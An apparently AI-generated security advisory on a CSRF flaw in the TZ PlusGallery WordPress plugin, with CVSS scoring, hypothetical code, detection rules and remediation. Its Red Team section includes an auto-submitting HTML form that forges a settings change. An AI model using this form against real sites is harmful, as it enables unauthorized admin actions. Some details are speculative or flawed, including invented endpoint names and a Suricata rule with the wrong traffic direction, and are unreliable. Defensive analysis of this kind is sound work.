CVE-2025-31756

Executive Summary

CVE-2025-31756 is a Cross-Site Request Forgery (CSRF) vulnerability in the TZ PlusGallery WordPress plugin, affecting versions up to and including 1.5.5. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying gallery settings, deleting images, or injecting malicious content. The vulnerability is classified as a WordPress ecosystem issue, as the plugin is designed for WordPress environments. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects the TZ PlusGallery WordPress plugin, which is distributed through the WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader WordPress ecosystem and can be installed via the WordPress admin dashboard or manually uploaded. The lack of a patch increases supply chain risk for sites using this plugin, as administrators may be unaware of the vulnerability. Organizations should verify their plugin version and consider disabling or replacing the plugin until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – Attacker can modify gallery settings or content.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can lead to unauthorized changes in the gallery plugin, potentially affecting site content and user trust.

Deep Dive & Mechanics

The TZ PlusGallery plugin fails to implement proper CSRF tokens or validation mechanisms in its administrative actions. This allows an attacker to craft a malicious request that, when executed by an authenticated administrator, performs unintended actions such as:

• Modifying gallery settings (e.g., changing display options, adding/removing images).
• Deleting or altering gallery content.
• Injecting malicious scripts or links into gallery descriptions or titles.

The attack vector involves social engineering: the attacker tricks an administrator into clicking a link or visiting a page that contains a forged request. Since the request is made from the administrator's browser, it includes their session cookies, and the server processes it as legitimate.

WordPress Ecosystem Context: As a WordPress plugin, TZ PlusGallery relies on WordPress's built-in CSRF protection mechanisms (nonces). However, the plugin fails to implement nonce checks in its admin actions, leaving it vulnerable. This is a common issue in poorly coded WordPress plugins.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of the plugin (version <= 1.5.5). A patched version would need to implement WordPress nonce verification in all admin-facing forms and AJAX handlers.

Vulnerable Code Example (hypothetical):

// In admin.php or similar
function tz_plus_gallery_save_settings() {
    // No nonce check
    update_option('tz_plus_gallery_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=tz-plus-gallery'));
}

Patched Code Example (hypothetical):

function tz_plus_gallery_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'tz_plus_gallery_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('tz_plus_gallery_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=tz-plus-gallery'));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with TZ PlusGallery plugin version <= 1.5.5 installed and activated.
• An authenticated administrator session.

Exploitation Steps:

1. Identify admin actions that lack CSRF protection (e.g., saving settings, deleting images).
2. Craft a malicious HTML page that submits a forged request to the vulnerable endpoint.
3. Host the page on an attacker-controlled server or use a phishing email.
4. Trick the administrator into visiting the page while logged into WordPress.
5. The forged request executes the action (e.g., changing gallery settings).

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=tz_plus_gallery_save_settings" method="POST">
    <input type="hidden" name="settings[gallery_title]" value="Hacked Gallery">
    <input type="hidden" name="settings[display_mode]" value="malicious">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection Steps:

• Monitor for unusual admin actions, especially from unexpected IP addresses or user agents.
• Review server logs for POST requests to admin-post.php with action=tz_plus_gallery_* parameters.
• Implement Web Application Firewall (WAF) rules to block requests missing nonce tokens.
• Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Honeypot Setup:

• Deploy a decoy WordPress site with the vulnerable plugin to capture attacker behavior.
• Log all admin actions and alert on any changes to gallery settings.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=tz_plus_gallery_* parameters.
  • Referer headers from suspicious domains or IPs.
• File IOCs:
  • Modified plugin files (e.g., tz-plus-gallery/admin.php) with unexpected changes.
  • New files in the wp-content/uploads/tz-plus-gallery/ directory.
• Log IOCs:
  • Repeated admin login attempts from different IPs.
  • Unusual admin actions (e.g., bulk image deletion) outside normal hours.

Detection Engineering

YARA Rule

rule CVE_2025_31756_CSRF_TZ_PlusGallery {
    meta:
        description = "Detects TZ PlusGallery plugin files lacking CSRF nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-31756"
    strings:
        $func1 = "tz_plus_gallery_save_settings" ascii nocase
        $func2 = "tz_plus_gallery_delete_image" ascii nocase
        $nonce = "_wpnonce" ascii nocase
    condition:
        any of ($func*) and not $nonce
}

Sigma Rule

title: CVE-2025-31756 - TZ PlusGallery CSRF Activity
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF exploitation attempts against TZ PlusGallery plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=tz_plus_gallery_"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31756 - TZ PlusGallery CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"action=tz_plus_gallery_"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete TZ PlusGallery until a patch is available.
2. Implement CSRF protection: If you must use the plugin, manually add WordPress nonce checks to all admin actions (see patched code example).
3. Use a Web Application Firewall (WAF): Block requests to admin-post.php with suspicious parameters.

Long-term Recommendations:

• Monitor for patches: Subscribe to the plugin's update notifications or check the WordPress plugin repository regularly.
• Replace the plugin: Consider using an alternative gallery plugin with active support and security audits.
• Educate administrators: Train users to recognize phishing attempts and avoid clicking suspicious links while logged into admin panels.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.